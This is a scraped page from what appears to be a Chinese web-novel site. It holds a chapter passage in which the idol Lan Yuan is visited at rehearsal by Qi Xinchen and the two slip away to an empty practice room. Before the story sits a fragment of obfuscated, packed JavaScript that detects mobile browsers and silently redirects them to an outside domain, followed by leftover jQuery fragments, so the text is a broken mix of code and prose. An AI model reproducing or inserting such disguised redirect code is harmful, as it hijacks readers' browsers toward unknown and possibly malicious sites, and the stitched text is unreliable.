d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437711|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久不见小艾,我找一下小圆”。 “我回头再给你说。”蓝鸢对指导到一半的叶游扔下一句话,没等他答复,就匆匆往门口走去。 “你怎么突然来了呀。” 沈艾初已经非常有眼色地让开了位置,蓝鸢偏了偏脑袋,对出现在这里堪称为“不速之客”的祁心忱小声说:“……都没有提前给我说一声,早说我下楼来接你呀。” 沈艾初见状,以一种情绪很复杂的神色看了他一眼——蓝鸢视线的余光捕捉到了这份表情变化,有点想笑,但是还是忍住了没笑出来。 “我给你发了一条消息,”祁心忱说,“但是你没有回复,我估计你在排练没看见,所以直接问了工作人员。” 蓝鸢有点意外。 他于是回过头去拿手机,接着确实看见了祁心忱发的消息,时间是在半小时前,内容是“现在可以来找你吗”。 “……抱歉,好像确实没有注意。”蓝鸢垂了垂眼说,“下次找我可以直接打电话,消息提示音太短了,容易被我漏掉。” “问题不大。”祁心忱笑了一声说,“你应该不会不同意我来找你的吧?” 怎么有种被反客为主的感觉。 “你想什么时候来都可以,”蓝鸢如此心想着,但还是规规矩矩回答道,“我当然不会拒绝你的。” “那就好,”祁心忱眨了眨眼,“有什么安静的地方可以说话吗?一直站在门口的话,好像也影响你队友们训练。” * 蓝鸢拉着他到了走廊尽头的、没人用也没有监控的空练习室,然后从里面锁上房门。 “哥哥你有什么事吗?”蓝鸢如此问——实际上他大概知道祁心忱为什么突然出现在这里,但还是很想问一句。 “休息的时候看了热搜,”祁心忱说,然后一遍帮他理了理跳舞乱掉的发梢,一边叹了口气道,“感觉你可能会很难过,所以想着应该来看看你。” “……嗯,我很难过,”蓝鸢垂了垂眼,过了好几秒,才终于说,“让我抱一下吧,哥哥。” 他如此说着,没有等祁心忱回答,就往前一步抱了上去。